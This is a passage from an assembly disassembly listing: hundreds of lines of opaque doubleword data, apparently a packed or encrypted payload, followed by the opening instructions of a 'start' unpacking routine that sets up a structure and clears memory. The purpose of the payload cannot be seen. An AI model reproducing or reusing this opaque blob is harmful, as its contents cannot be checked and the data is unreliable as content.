		dd 0EC50BB3Bh, 0D3073BCAh, 0F5D6AE7Bh, 98EC5F5Fh, 0D877EBCFh
		dd 0E0588215h, 32A3EB2Eh, 65E576h, 4E5D46F3h, 886C7360h
		dd 2859071h, 475FD929h,	2F6DE2AEh, 80310498h, 9203AE5Bh
		dd 65D87C74h, 1911690Bh, 0E0DC3E50h, 5773D046h,	35A71FF8h
		dd 14FB372Ch, 4EA5ABAh,	7D56F1C2h, 96ADAE24h, 81559294h
		dd 0DBA8A970h, 0C4A00978h, 0A8026E1h, 0D784E32Dh, 2A09C581h
		dd 0A6D2C8A6h, 0D2BED28Dh, 0D96B732Ch, 0ADE5CB5Fh, 6F7722C2h
		dd 9CE5D876h, 6C4EA216h, 3E9BE2A1h, 17B4032Bh, 0D35E68D0h
		dd 0B9B23230h, 0B5A3FCA3h, 4379DAACh, 0D658B99Ch, 250625B4h
		dd 7F113B04h, 7AB1AA7Eh, 0BF0E8906h, 849F22E7h,	23D8DD92h
		dd 0CAD1355Ch, 49BCFBC8h, 5E5817C0h, 836AEA69h,	8BB4E515h
		dd 82BCFE17h, 0BC1804E2h, 0E2697BCBh, 4032FBC1h, 965EA839h
		dd 9A5C194h, 4BBE2617h,	31C4467h, 76EE7BA4h, 0F7567AD4h
		dd 6825FB1Bh, 0B95000EFh, 0B807111Eh, 0B690347Eh, 8722E382h
		dd 4FE343EFh, 0A5815E06h, 95DCAC7Ch, 68CD08E3h,	1F6B1EF4h
		dd 0BD5876E0h, 80716689h, 432BB475h, 1E2DC807h,	0D061C7C9h
		dd 0C3751FE5h, 6D5DD994h, 357E38B1h, 0E2AA3277h, 0C5BD3146h
		dd 2F200C64h, 5046F7BCh, 82701A1Ch, 7EF33878h, 442CCDBAh
		dd 1D08C346h, 0C89E5675h, 2CD4E26Fh, 0D5A4202Fh, 14A300B3h
		dd 7672B2B3h, 54E4C753h, 25FB3564h, 5AC730BCh, 677ACAD6h
		dd 0BDE7B120h, 0BA68F338h, 4FBAD2FAh, 0EE670CD6h, 86AE9C35h
		dd 0B60A9667h, 84BE9390h, 9AB1076Fh, 97D09177h,	327F6FA0h
		dd 7734CFFh, 157D012Dh,	80313A8Bh, 901100E8h, 4A8EEEE9h
		dd 0D7A723C0h, 13214E23h, 4A1158E0h, 8DD17E35h,	87038C11h
		dd 1850E579h, 0E7172810h, 0B9E5A73Bh, 7DBA24C3h, 584F542Ch
		dd 21500FB2h, 0C2FC18A9h, 3BD5757Ah, 0CF108B0Fh, 7B47FA6h
		dd 0E91BE030h, 0A787FACEh, 81C33F95h, 3E855FCFh, 0F71D1C8Fh
		dd 3FE451A2h, 3CCADA3h,	852D78E4h, 0F3E89FC1h, 8CB13324h
		dd 51AA79AAh, 698742D7h, 295F3CBh, 0CF7618B2h, 9546B25Fh
		dd 9ACDD042h, 0AE477DA8h, 8A14D02Fh, 28F55721h,	358863B9h
		dd 16B885ADh, 13B63984h, 0F5557742h, 0DBC944B2h, 0E17043CEh
		dd 2739D3C2h, 0F2E03F80h, 0E65DC0CBh, 54839B9Bh, 4D9D8CEAh
		dd 0F6F70918h, 71E8F4Bh, 0A8992504h, 977FFEDh, 31569BE5h
		dd 0DB3B6426h, 90665BBDh, 7BC2E48Ch, 0B75F6C7Eh, 0FD37F502h
		dd 0B075584Eh, 80D3FDA0h, 24D1A949h, 0A4DCBC53h, 0D6F2B84h
		dd 0BE95C2D5h, 2C116669h, 0F486271Eh, 0AEA375Eh, 0A2F33664h
		dd 60209808h, 0A3418B21h, 0DCC6AF2Dh, 0D661008Ch, 71267B12h
		dd 17A1A7B0h, 0EA734A89h, 34F54950h, 0B032B4Ch,	892600D8h
		dd 2C3EE4D7h, 0C8BD6585h, 79051552h, 13AAAD2Ah,	47BFF9FCh
		dd 726B9DEh, 0D02F2302h, 12F97224h, 39916265h, 2ED3AD5h
		dd 0BFDCF8Bh, 0C1B7632Bh, 0F4C53CECh, 253A4543h, 0FA2520C8h
		dd 0CC5D26B9h, 9CD8CDF9h, 0AAEFCDD4h, 6FBA401Eh, 8D5A2C28h
		dd 58976727h, 2F815084h, 47A49DE0h, 0EBC51D4Ah,	0AC8F80Eh
		dd 6A32F538h, 1441D493h, 284ABCB7h, 0FC6CDAE2h,	5A355AEDh
		dd 8283C716h, 7C6A5AD8h, 11D455Ah, 992E9323h, 91B25C36h
		dd 62AE5D99h, 0D9838F93h, 4127296Ch, 0EE963F63h, 0A4206BFBh
		dd 9688E30Dh, 61694C71h, 0C7B26074h, 0C6D48A6h,	0F6DDC944h
		dd 0C525197Dh, 584F40FCh, 567A4B9Ch, 1A6ADF9h, 0BC4B1928h
		dd 0FE37A41Fh, 985673E3h, 1D1B9AD0h, 0FE5E618h,	185305Bh
		dd 0BA9E28AAh, 0D43832A6h, 1A989E72h, 0DFD14C81h, 0F1A754E0h
		dd 262AE0B3h, 41626FB7h, 0B3EC19A1h, 27481A36h,	3EFBC280h
		dd 993650CDh, 5CC0FF96h, 390DB73h, 25FAA233h, 912373A7h
		dd 383D12BCh, 5FD9178h,	0B7ECBB9Eh, 45BCBE56h, 0F055EA78h
		dd 0D6F091E0h, 74A546CDh, 4A07590Fh, 87AA0400h,	0B41ECACFh
		dd 0FC2B7A39h, 6A83CD6Dh, 0F628CAE0h, 0AAD0A441h, 7C81DBA0h
		dd 5978B33Fh, 2CBA3F83h, 0AD095FB4h, 85E163CBh,	0D15D2526h
		dd 33F4E95Fh, 4E5CF47Bh, 0AE241353h, 0F0F0874Bh, 629DB3Ah
		dd 1ACE9F50h, 0AD816082h, 43FA1FD3h, 5175519Ch,	58094868h
		dd 0C3E7B24Bh, 0F59DB6D8h, 0EA46ED3h, 0C5136892h, 0F3D1C16Ah
		dd 4D153B63h, 2480EC07h
		dd 0EFF0B4A1h, 20053538h, 72511EEBh, 0C1F74D51h, 0D6293199h
		dd 84DA51EBh, 0E62856E0h, 0A55E13D8h, 15F605F1h, 0CF9508E6h
		dd 9A5DD701h, 0E2358201h, 0AADD7B5Ah, 47A1F4FBh, 87FCB7Ah
		dd 0CFFD6A9Fh, 2FA3E327h, 711EB6FEh, 5AC3D315h,	1C2656C4h
		dd 1A8817EFh, 4424F964h, 455F4B52h, 3FEA8648h, 0ABCA2D00h
		dd 74334710h, 0C9CEE5A1h, 4BE7BAADh, 8D0D912Ch,	13AF8D0Fh
		dd 5A4E6623h, 0C0C76CEFh, 6ABB88A9h, 3E98430h, 8DD4C1E1h
		dd 9EE77957h, 51B10F99h, 781F6B69h, 66E46E71h, 556429C9h
		dd 0A816A81Eh, 0A1B89A32h, 0F44D3EB1h, 0E8C91F7Bh, 80D68DA1h
		dd 86D09127h, 783CE835h, 0E8D3ECF1h, 9029CE16h,	6929E109h
		dd 4C63F3F6h, 24561DA8h, 4A963BA5h, 1C42BA1h, 0C91B748Ah
		dd 972653B3h, 85B61EF4h, 0BDB18FFh, 0C9674821h,	83597EE7h
		dd 9C6C0DD4h, 71AE727Eh, 0D494875Ah, 0DFD6B84Eh, 985F35EAh
		dd 75AA9326h, 36C374h, 89CC84D1h, 9AC4254Ch, 66949404h
		dd 8D73D9FAh, 0C2BBAEFh, 6FE04663h, 256124E6h, 2C7C9222h
		dd 53D50B4Ch, 3A869EBAh, 83DCE379h, 0F3A84D15h,	0E0E5050Fh
		dd 77D358C3h, 64C45A50h, 9B94386Bh, 95B121B8h, 3A38AFD9h
		dd 66CB5498h, 6BA86BF9h, 0B458608Dh, 61CB4B7Ch,	583E2B82h
		dd 0B09AAEEEh, 172CAF58h, 0AB0CBEA1h, 0B66E7F89h, 360584AFh
		dd 3356C628h, 0B0AE92D0h, 951C82E3h, 2AD2C402h,	3167142Dh
		dd 0DBE7AA93h, 0D4FACFEAh, 0F85C7406h, 0CBE9021h, 0AB342310h
		dd 0FB34B6D7h, 3C54E675h, 4230B487h, 2032642Bh,	0EE7D7B1Fh
		dd 0FD8F9B91h, 4BFEEAE0h, 92C69825h, 0B6A866C3h, 3B7EC69Ch
		dd 81601F6Ah, 0DE341787h, 1EE347B1h, 8CC1E49Ah,	0DBE5C6BAh
		dd 0C215D369h, 0CA07B1A2h, 357779EEh, 3E939974h, 1596CA19h
		dd 62808692h, 0C8F9B2AFh, 0F5DF054Fh, 0C86BE74Bh, 61DD1519h
		dd 2422FC54h, 0FD1C2CBh, 0A472F275h, 0C2DA217h,	4DEAA6E3h
		dd 0A6E612D6h, 0FD62F0Ah, 0CD624339h, 0D5BA477Fh, 0D8855753h
		dd 0E390827Ah, 0CE153961h, 27289F28h, 71976827h, 7410C008h
		dd 6AF800CCh, 0EBB889D9h, 87975BE4h, 72281C23h,	0E34784F7h
		dd 0B2E0741Ah, 0D6358A35h, 0ABBD1978h, 685B6AB7h, 7A5C9B55h
		dd 6A8E384Fh, 75D0BACDh, 312744EAh, 2857EF89h, 1B19A74Bh
		dd 561A659Bh, 0A9011433h, 618153DFh, 37C3EE20h,	92F7709Ch
		dd 8E91150Fh, 36450B1Dh, 0B8BABF32h, 9855FBCDh,	6C64AD54h
		dd 92AB0C3Fh, 7B4DE6D8h, 86A3D1Fh, 56921DFh, 4C6079C6h
		dd 4FE3A3E5h, 93802443h, 5961D481h, 32BF27A2h, 2C193D0Bh
		dd 43E61D6Dh, 5BB2E39Bh, 744C6EA9h, 8DFD2796h, 0B88FE906h
		dd 0D64FBBF0h, 0B25471BDh, 8AB9C720h, 4585712Fh, 44EFAA38h
		dd 3CB4EF29h, 47B0889Ah, 0F6E8A4BAh, 8547BEB7h,	9577CD60h
		dd 9F056D71h, 9C68851Ah, 1E8EE6D4h, 5D9D9133h, 4EBD0A48h
		dd 0A22B3F7h, 75046520h, 73432AE8h, 0FEF8C632h,	988C2318h
		dd 87808A30h, 41FC115Ah, 94B21022h, 2376538Eh, 7524037Dh
		dd 4CB982CEh, 0DB02E04Eh, 214F31E6h, 0C6649A35h, 0EF2078Dh
		dd 58243FBBh, 10384E25h, 9371AC04h, 0C68623D0h,	9CA6D9C6h
		dd 32E333C0h, 42E02E0Ch, 0DFF752CFh, 0C05471E3h, 0A9BABD3Ah
		dd 75C33F8h, 0D7FAC3CDh, 0F5BDA477h, 374C8559h,	4674304Eh
		dd 57EAB722h, 2EF86E97h, 0F091F40Bh, 0E32F4473h, 0BB073373h
		dd 97A79193h, 8065A2E8h, 0B28BA8C0h, 53E45C3Bh,	6FC93566h
		dd 0FEE5A37Eh, 34C6422Ah, 0A258BA81h, 8D02FA51h, 0F577DF79h
		dd 1776221Ch, 2405AE28h, 0DDD268E4h, 51C44169h,	95187F79h
		dd 0C5736698h, 0D0A57088h, 0DC46488h, 1F42A401h, 260CA6Dh
		dd 0D79F2AE4h, 0DA4C191Ah, 483881D3h, 3ABFFA69h, 0B76B4970h
		dd 0C1A36898h, 0AE6F63Ah, 8D0FF374h, 0CEE6EAB5h, 0EBFFC771h
		dd 0C4AA13E0h, 0C95A8029h, 0A7E21740h, 0BE949435h, 7CAABB9Eh
		dd 338ED38Bh, 85A2ED67h, 332E0AC1h, 0F9B16D0h, 950833DFh
		dd 0A099A3B8h, 6CCF39A5h, 9E99ED92h, 0B0AF6CFFh, 25F8519Dh
		dd 23D7B933h, 1314B60Fh, 2993EE96h, 0FACF2B07h,	53372E1Dh
		dd 5511BB6Eh, 60CBFAh, 0D1B49E60h, 0E76BE24h, 83A0A772h
		dd 89CB7D2Ch, 0C433B44Bh, 6DF59373h, 0F1B7A86Eh, 5C309B4Eh
		dd 0F7488420h, 978F6805h, 0E967F435h, 8235F656h, 5FDA5C9Fh
		dd 35CCC24h, 0AB8589BEh, 0D28B143Fh, 5A806FA1h,	0B082D437h
		dd 6F942635h, 17BC781Ch, 23774524h, 0A3FE9D4Fh,	1EF388FDh
		dd 0D01EED4Eh, 2A300395h, 1321E289h, 32634A7Dh,	304F75F2h
		dd 0BDB5C97Eh, 13E6215Fh, 2B0184DAh, 0E669A9C5h, 5A02EDDh
		dd 0C6C256C3h, 93112FC9h, 0A7617F5Bh, 12C25AC1h, 1131C1A0h
		dd 1271F679h, 909BA09Ch, 0F131EA8Dh, 863B2E74h,	3B24ECD9h
		dd 8DDFBFDh, 5DAFBC91h,	8A6CD2C5h, 112B0863h, 43B80025h
		dd 0F8DC9665h, 0A269688Dh, 76A686B4h, 5FEB5460h, 0A99B5E4Eh
		dd 24E1DB28h, 0E26CD372h, 48BDD910h, 9F8FB38Dh,	292F8369h
		dd 28C7F6B0h, 0A4464CCAh, 61607AD6h, 9839969Eh,	0F9B65395h
		dd 0AADF274Ah, 655450A6h, 4B562648h, 29706585h,	28C1C215h
		dd 97833D77h, 0FEFD4A52h, 8F367FB4h, 0CC5BD56Fh, 29F1FA0Bh
		dd 79ADB0DAh, 0B73EE803h, 0F226EA58h, 4F70A2D7h, 41B0C0ACh
		dd 0E6196279h, 64EA3691h, 0B3E19F3Ch, 8CB024A9h, 0F517BFF3h
		dd 9D3ABD88h, 0D8571F79h, 0C0525D85h, 150AAE21h, 3391B7D4h
		dd 4B1EF1E4h, 22FBDF1h,	1E02AC4Ch, 0B63C342h, 0B4FFAD91h
		dd 2C79ED5Ch, 362CCD25h, 89B49566h, 0CFB196F2h,	2C2BF666h
		dd 0AD278711h, 0F526BF10h, 917E35E3h, 0AABA110h, 0C359E3E4h
		dd 535DDFFAh, 0EDFC84D7h, 49A70658h, 0BC4D847h,	2C3EA195h
		dd 0C74BB1B2h, 1C58F1CBh, 786593B3h, 0AC8C9825h, 0BC631C78h
		dd 373D8354h, 85EC4347h, 943FE9D3h, 973ECB56h, 0C722769Bh
		dd 3ED17C40h, 0FD05E820h, 433D99F5h, 0E1B62E1Eh, 6DEEEB42h
		dd 0C8FA848Ah, 0E7DF375Dh, 443D3AEDh, 394EC93Ah, 7C263338h
		dd 89E5Ah, 0AC6F6CE3h, 4818CB37h, 976FB9B4h, 0B54C2FEBh
		dd 0BA61E26h, 0B97EFF9Ah, 0AE3496ECh, 7E137217h, 6C57612Ch
		dd 494D735Bh, 0D9777E1Ch, 1D611398h, 10FB001h, 0C79B1382h
		dd 47F0689Dh, 4811E954h, 0EE791E77h, 5A9170C6h,	59DA24C1h
		dd 9798EA2h, 8FBC5795h,	525F422h, 4A5B404Ah, 6A82A3F5h
		dd 0F12919D6h, 46BF1827h, 0E4360A5Fh, 3CE54831h, 0C17F674Dh
		dd 71C3FA2Eh, 0CF31EE43h, 3DD55F46h, 539F973Ch,	4FDDC39Bh
		dd 0EEED1DE3h, 434B8964h, 291957B4h, 1275FB51h,	7BEC9188h
		dd 14B7F9AEh, 618FE82Dh, 5E9FF50Eh, 0E3D7C0DFh,	9CAA3F06h
		dd 71FAACD4h, 5035F59Dh, 75777DCFh, 80913FA5h, 48245AA0h
		dd 0BAEB643Dh, 142CC874h, 5DE8CA68h, 79A5D161h,	62E00020h
		dd 2210D042h, 12E62C0Dh, 3C1394E6h, 10FB1585h, 59ECBDADh
		dd 0BF7E6690h, 0D080D678h, 0C607567Fh, 0D3B9B4D7h, 11297231h
		dd 0F9D8D80h, 0B91888B0h, 0D91AE721h, 91DCC7Ch,	3C77505Ch
		dd 0E1D098CFh, 7550C12h, 0EB1AF2BDh, 30C1DC9Ah,	45C8E907h
		dd 2872367Ch, 0A7B8C245h, 0A3AA2974h, 96A09CE4h, 9F82F968h
		dd 0F180A848h, 2897BD30h, 0F69B067Eh, 0D71D73B6h, 0FDED2258h
		dd 4FF86533h, 0EE7BE5DAh, 62A05CEh, 43C0BF9h, 890D1E4Dh
		dd 5703CDFh, 30FFF18Ah,	0E0451EF8h, 39DCDFA5h, 0EFF5A252h
		dd 32AFA093h, 5F29731Ah
		dd 0F0C328A7h, 67B6DEA0h, 0CEF6EA1Ch, 3143E1Bh,	951C8D61h
		dd 77F03EB6h, 0EC7F7136h, 7A25F8FBh, 160BEF33h,	0D2FA5DB4h
		dd 0D2BB17BDh, 0D710730Ch, 0AFF04C7Dh, 0D15F285h, 4F6B6DF5h
		dd 2A355C14h, 33643680h, 0D9FCF06Eh, 0F0B908C8h, 1701CF1Bh
		dd 0A21B92BAh, 0EB666D9h, 47B7DABBh, 4C936D2Ah,	0FC6CFC70h
		dd 17AB5128h, 0CC923D47h, 794318A6h, 4D8AEDD5h,	0C98BC88Ch
		dd 0C0B01D7Ch, 2C5ADA04h, 78A9CA13h, 4BD288B0h,	54902FAAh
		dd 1E17A59h, 734E1FE0h,	0A3D2B8E4h, 6BDB55AFh, 0C0306132h
		dd 8EDBB0B4h, 25848976h, 0EC7A817Dh, 176A0799h,	0D58DB789h
		dd 3494BA62h, 70D9DBA0h, 6E0C7EAAh, 3845C5h, 2403A5C0h
		dd 0E45C9953h, 0B8C7C75Dh, 0EF2A546h, 38D517B5h, 85241A1Ch
		dd 0E608EC8Ch, 3D8F26EDh, 0D3994343h, 21DBBF99h, 5ACA5E09h
		dd 0C2E513CFh, 0E9B5D88h, 0EFDB402Eh, 530E09C3h, 2C6A0A97h
		dd 0BD49CE5h, 0D9FF2CF1h, 772E4F1Eh, 1F31C55Bh,	0F6AA17FCh
		dd 5ADF8B83h, 0B0A3828Eh, 0B2583352h, 920BB518h, 28E3F417h
		dd 17B1F0F4h, 6584B656h, 0EA0BFB19h, 1EDFBCCAh,	376BB28Eh
		dd 8AA963ADh, 0ED12CD4Dh, 0F87C8178h, 0EBC08628h, 0D1825F8Eh
		dd 0BB27CFE4h, 0E3A4BC4Ah, 8961F053h, 0FCD979CBh, 11510379h
		dd 0B69A67CEh, 8E1989BDh, 0B55789C3h, 277FC808h, 0EAE23A17h
		dd 79765AFDh, 66747BB6h, 7350A55Ch, 0DD2B9326h,	0E57105A1h
		dd 66546DFFh, 6BE5B98Ch, 0CAC41F2Bh, 255B19CAh,	5E1F6650h
		dd 8F969630h, 7F24688Ch, 8A234F6Fh, 956BADCDh, 1056D9EBh
		dd 68ADA86Fh, 3149B23Eh, 55BDD2F9h, 0A24DC17h, 4379B573h
		dd 0A858FB7Ah, 7CAE3CEFh, 825C290Eh, 0F8CDB1F6h, 0C655A473h
		dd 1E1443DAh, 0CA684A3Ch, 7D1C5166h, 5E898CCh, 0B4934B4Bh
		dd 6ADB8126h, 0F3368538h, 0D1570266h, 439A887Fh, 64DFC575h
		dd 5CFF3234h, 0FB1E4759h, 97B37480h, 0C902BD0Ah, 0C6B51342h
		dd 55785608h, 0E3B5B2EBh, 4173F689h, 0D609FC10h, 0DE20D8A2h
		dd 8165880Ah, 0DB9707F7h, 0ED31C150h, 0C3940402h, 0DBC8809Dh
		dd 0C5879471h, 3D4DA47Bh, 400624BDh, 0F11129B5h, 0E8FBD096h
		dd 3C11460Ch, 0EE9AC053h, 0B14F6357h, 4E56D6F9h, 0D49158B2h
		dd 773C2030h, 76DA6235h, 0CC1FD517h, 0C7152B79h, 0B02EE060h
		dd 8BBDC6CEh, 625C4A3Ch, 81003E2Ah, 0CBD5CCF0h,	0FFC23D92h
		dd 0E49AB9E8h, 1AA10FF6h, 422301AEh, 0DC54F1C1h, 0E221B582h
		dd 0F6970C98h, 0A70076A3h, 1D43A4E2h, 0D1FC5EF2h, 0C4522DBEh
		dd 410EE11Dh, 41F64C64h, 1342BD95h, 6B13F5A0h, 4510A823h
		dd 0C618807Eh, 0FF7F2173h, 0F2326B05h, 2A73DDC1h, 3F9B5856h
		dd 906A5BC9h, 7AFC77CBh, 55A9BF29h, 0DB0446CCh,	8539E36Dh
		dd 0A63267C4h, 2207378h, 22BF826Bh, 805832DEh, 0C29185AAh
		dd 98FE6981h, 0E13E4268h, 0A18D5219h, 45B25DE4h, 0CB518F7Dh
		dd 84070EC0h, 6E724746h, 0D52815FEh, 0EEE283ABh, 16CD62C9h
		dd 45C1F12Ah, 0FB25A968h, 0D6DA9720h, 0E9ADA393h, 2B07757Eh
		dd 6D06AC95h, 1EA63995h, 164C8791h, 33E104C5h, 0D0AB9DB2h
		dd 0D6DF1C28h, 9C82450Ah, 831E8463h, 46A10919h,	2B5282Dh
		dd 83D26E9h, 53661685h,	0C8BD8C87h, 78C7B017h, 0FB727894h
		dd 76991C4Ah, 71EE929Eh, 0C47FFCDEh, 6DAD4ACBh,	0C031F401h
		dd 29B20BD5h, 0C7655221h, 268D4545h, 0C43EC8F2h, 5661F644h
		dd 0DEE3EE13h, 3E537FCh, 2FF259D6h, 12AF4FBEh, 0CBE53CEFh
		dd 43DFC049h, 0ECA008EEh, 70648B78h, 28F87813h,	185C90CFh
		dd 3E66EA07h, 25876BFEh, 48A4720h, 0D4DD0687h, 13CA90FAh
		dd 27BF05C6h, 70A5D0EAh, 25923775h, 0E79421F7h,	9DC60844h
		dd 0DF300524h, 0A7091C6h, 91F51E7Ch, 4F7D168Dh,	0F04C1DFAh
		dd 3E1DD02h, 0A1B15574h, 9BEA2A86h, 3456CC32h, 0DBAA237Fh
		dd 59A5AD14h, 218607A0h, 5E26D73Ch, 0CC8F59h, 0B89FBB3Dh
		dd 0E163B6Bh, 5ED39AAFh, 992D6AB0h, 0BEC683B1h,	0BB6B5945h
		dd 0C81161CAh, 268D5A1h, 8EF6B1F8h, 0EE990E02h,	3F08645Fh
		dd 50A18F07h, 0A4547BB0h, 0A7E09434h, 0C8378E4Ah, 0E9D9A468h
		dd 101DAAB2h, 0D9FE6FAEh, 2C64092Fh, 5678A8CDh,	63409A7Fh
		dd 12D54AD7h, 0B13D6F1Ch, 0B0673D1Dh, 20B31FFDh, 0A0F8A9B2h
		dd 0DF6C2E7Eh, 0A2B2F106h, 9FC1870Dh, 0EF896649h, 58B09D59h
		dd 0EA90B440h, 0E33163ECh, 1CA62084h, 86683AB7h, 277EED5h
		dd 452DA80h, 8325B419h,	47523B5Bh, 0A681DE6Dh, 54A015A7h
		dd 0FF1BA472h, 96372A4Ch, 18476A28h, 46664015h,	46F8C83Eh
		dd 872FE796h, 527436BBh, 0E582868Fh, 9AF36647h,	3B5A0C87h
		dd 8FB0103Fh, 0CB984E6Dh, 2332CDA0h, 0EB5767BEh, 28DC4BE0h
		dd 0E6D971D1h, 641B1764h, 66DB9E70h, 0D9C0D6CDh, 59AF923Eh
		dd 0F9453A62h, 0D50A09B2h, 0BA1DE234h, 0B5853EFBh, 0FAD05190h
		dd 388EA1E4h, 7A107B69h, 7B3A39AEh, 0D524CF6Fh,	0ACD611C2h
		dd 0EC958683h, 106C24A2h, 0C1068C0h, 0BFC95454h, 3CA83D4Ah
		dd 146AEB17h, 341A4505h, 21826E5Eh, 1CAE55B2h, 9AAE169Ch
		dd 0D8285E25h, 0DEABE6E0h, 9168BA80h, 0CC6F0D22h, 0FACEEBC4h
		dd 0FF3A7398h, 74544C93h, 0C2D1B06Eh, 6DF0E3ECh, 24B12BF7h
		dd 55C42A31h, 388D4893h, 0BD4221BAh, 9D20CF05h,	2E74CD1Ah
		dd 2A80E86Ch, 5E443DDDh, 2BA10A52h, 1DB74D3Eh, 2E715B42h
		dd 21F1EACh, 5E29D33Fh,	88B81E8Fh, 7BB3C4B5h, 8E91E6EDh
		dd 668ACE00h, 0BB5E6875h, 0DCB74756h, 386EDEFBh, 5DA467B4h
		dd 5914FC43h, 0C6EA3B2Eh, 0F0854F4Dh, 9F4D1923h, 12F31B6Bh
		dd 0B5E246FCh, 57E51828h, 0F61E3E28h, 9D5F76A7h, 0AA3FB3AEh
		dd 0B1C2C39Ch, 2E8358B5h, 70A29FCDh, 0D6E39EE9h, 2555B58Fh
		dd 0C9D8DE90h, 74F7CDD1h, 501B0E0Eh, 25C87C7Bh,	0D6BD5CA1h
		dd 150FBEE5h, 4C6702ECh, 0F33513h, 85D0988Fh, 26A006B5h
		dd 67DFDE95h, 4E45A019h, 8883DF16h, 6EF837AAh, 0C64C454Fh
		dd 0A7D19E6Ah, 8FAAFACAh, 3EF76D00h, 7EC3D996h,	9695BFEEh
		dd 3D528756h, 2CB2602Fh, 0F729692Bh, 1C0DFAE1h,	4F0A86B7h
		dd 8022615Dh, 0A07FF965h, 0E7381ED1h, 0D62BB5B9h, 0CE1EA34Ah
		dd 0ABE7EC7h, 24EC9CB7h, 0A5B196DDh, 3DEF9222h,	86CDACA8h
		dd 0ED9134DCh, 36269C75h, 0A1C62E85h, 457022CCh, 73BE5822h
		dd 4C29F7ACh, 0E4689E00h, 0C358BC44h, 0A583893Dh, 75B5B6E9h
		dd 6E0DB901h, 242D11E4h, 0A823279Ah, 0CEB63FC8h, 311032B0h
		dd 4D35347h, 59F23AB4h,	9C2FC405h, 9DBCCB4Dh, 4F4FE138h
		dd 0DF5A3AE9h, 9EB19B18h, 0E20FBF11h, 19F21AC4h, 0EC6D372h
		dd 6BA7DF9h, 1C56CACAh,	0E6D20E03h, 7B0E2C38h, 8403F64Eh
		dd 9896417Bh, 0B7EDECF9h, 75637BC7h, 0ADB6B691h, 1164BC05h
		dd 2443EDBFh, 573E4402h, 4FDD55F8h, 8A2DF3ECh, 8D9E31E7h
		dd 0F4D93B7Eh, 706F3C14h, 1F54E1F3h, 158C3E0Fh,	96B2C586h
		dd 0F2987F78h, 82CE2D73h, 455865EFh, 92D05D88h,	0D67EDAF1h
		dd 53EF24ACh, 45EBEC3Dh, 0B630F018h, 0CE134FCBh, 6B6AB6E8h
		dd 0F71EDC59h, 0C461F774h, 74BABBD2h, 977CF0h, 0CF849BAAh
		dd 78B0FA04h, 8BB3DFADh, 835FE29Ah, 6D5C1A63h, 2D1465B4h
		dd 0B5D7BAB6h, 2D375630h, 6DCAC890h, 778F55Bh, 0D21B2912h
		dd 60D24288h, 4FAF8720h, 0B602DC80h, 2A8A3808h,	0C1A8D48Fh
		dd 344A9401h, 63E04E8h,	454855F9h, 0BB5A7185h, 0BC3BC5B9h
		dd 8A9A2CEFh, 529D329Ch
		dd 0AA071675h, 620B65A0h, 8DDAB573h, 0EE2EFE20h, 88761AE7h
		dd 0BD2F129Bh, 989F66E3h, 0BAE5964h, 0A1436E71h, 0E8022969h
		dd 6225FD25h, 1E9DB715h, 8AE8A37Ah, 0E96AFC20h,	0B06FE261h
		dd 6852244Eh, 6FA1C4F9h, 998C76F2h, 0F4937346h,	9803B6FDh
		dd 0D6956C45h, 54A2A9Eh, 49CCDA3Ch, 372EAF46h, 90698B5Ah
		dd 0E7E4EEE4h, 0FE7699h, 0BA046773h, 0E5596A67h, 0FAB2E439h
		dd 8D1B2106h, 1FBAADC2h, 0BE69F3DBh, 0BA989E6h,	2FEC9872h
		dd 0D0608820h, 62B44484h, 4E476F1Fh, 0D936AFE9h, 9BD4D9Fh
		dd 0DD6969BDh, 84CE9C61h, 132BD404h, 0F25E1674h, 6CD869EFh
		dd 0D7B1D4D8h, 4F6E5379h, 0C8FF5D6Ah, 8574B57Fh, 0D3FB0E07h
		dd 547855BCh, 94305EF8h, 1AF4B29Bh, 0CD2F26FDh,	0E64472F4h
		dd 773C860Fh, 0EF698581h, 1DD7C202h, 0B2C8E444h, 0EA8DAE72h
		dd 0CE4EDB76h, 0C889D41Eh, 0C3FD707Ch, 3CB92DC3h, 0F5305FEAh
		dd 0EEB92E78h, 0A5E374E2h, 0C7764937h, 17F79DA5h, 8CD7F02Fh
		dd 2C99C55Bh, 0A0407BE8h, 0E756C22h, 90A5B52Fh,	998938DBh
		dd 0DA2CD818h, 84F3B6C2h, 7A23EBFh, 17EA3E5Fh, 0DBD35740h
		dd 63CAEE00h, 9F4C5EFDh, 86A9185Fh, 299B1F37h, 82FBC3D4h
		dd 768FDAA7h, 4DBD1CECh, 0C3FC9B32h, 8773C172h,	0A0F3540Eh
		dd 0ABDBC2F8h, 999F1AA6h, 4245B9A7h, 0F0938634h, 7C3E1E3Fh
		dd 0A9DBCB83h, 0B6C876D0h, 21EECC72h, 0DA0A9096h, 577EBB50h
		dd 55FDADD7h, 8ADBDC8Eh, 7D28E2A4h, 0F4564BE3h,	27A568C2h
		dd 1EC32F56h, 0AA7E0CF7h, 8955EC68h, 7DF6745h, 9B6F8711h
		dd 0D8C9D3F9h, 7262C4EFh, 9B14B5C5h, 0E9D1B52Eh, 53F78F6Dh
		dd 0E21801E9h, 90445ACCh, 0E0643878h, 767FC60Ah, 922CACF0h
		dd 754E2A24h, 48D93D0h,	1C79842Ch, 9D36ED6Eh, 9B44DA83h
		dd 0B879401Fh, 0E1BB7B45h, 1C4C5CB4h, 0EFCEABD2h, 67AA4A76h
		dd 0D02141D1h, 261B8DEh, 456EB417h, 0E51C8106h,	81FF4C87h
		dd 0F517D5F2h, 0D544371Ch, 0F3AC2BC5h, 797B1BEAh, 0E3E072A8h
		dd 61543F9Fh, 3C33262Ah, 5AF0CAE4h, 0BD5C6562h,	0A9F6131Fh
		dd 0DA623165h, 68ECD028h, 4899007Ah, 5CB044BCh,	0ACCCE2D5h
		dd 835F7ED2h, 0D331D7B0h, 53BCC4A6h, 0BF3F70D1h, 6AED2298h
		dd 15EDE3D3h, 24EF0179h, 2C130A6Fh, 0A26B7D3Fh,	9A825417h
		dd 0EF122A4Ah, 0E3A854B0h, 67CF0CBFh, 5B14E0ACh, 0A08D84Dh
		dd 0D15433FFh, 82276485h, 262EF842h, 78E9658Bh,	4300A49Ah
		dd 72154D4h, 0EEC1644Dh, 79259131h, 1CFE5C53h, 0F9D04C5Dh
		dd 86FBD87Dh, 0C09296E8h, 39E5D0FCh, 45382A9Dh,	0D1564474h
		dd 0D11EE55Ah, 4153C43Fh, 6625B4A4h, 0B45D88C2h, 0CC2694ECh
		dd 17D7F61Dh, 924B3F91h, 618533DFh, 8CDE9175h

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		mov	ebp, offset off_3DFE08
		mov	dword ptr [ebp+0], 3D00D4h
		dec	dword ptr [ebp+8]
		mov	byte ptr [ebp+0Ch], 5
		lea	edi, [ebp+14h]
		xor	eax, eax
		mov	ah, 4
		mov	ecx, eax
		rep stosd
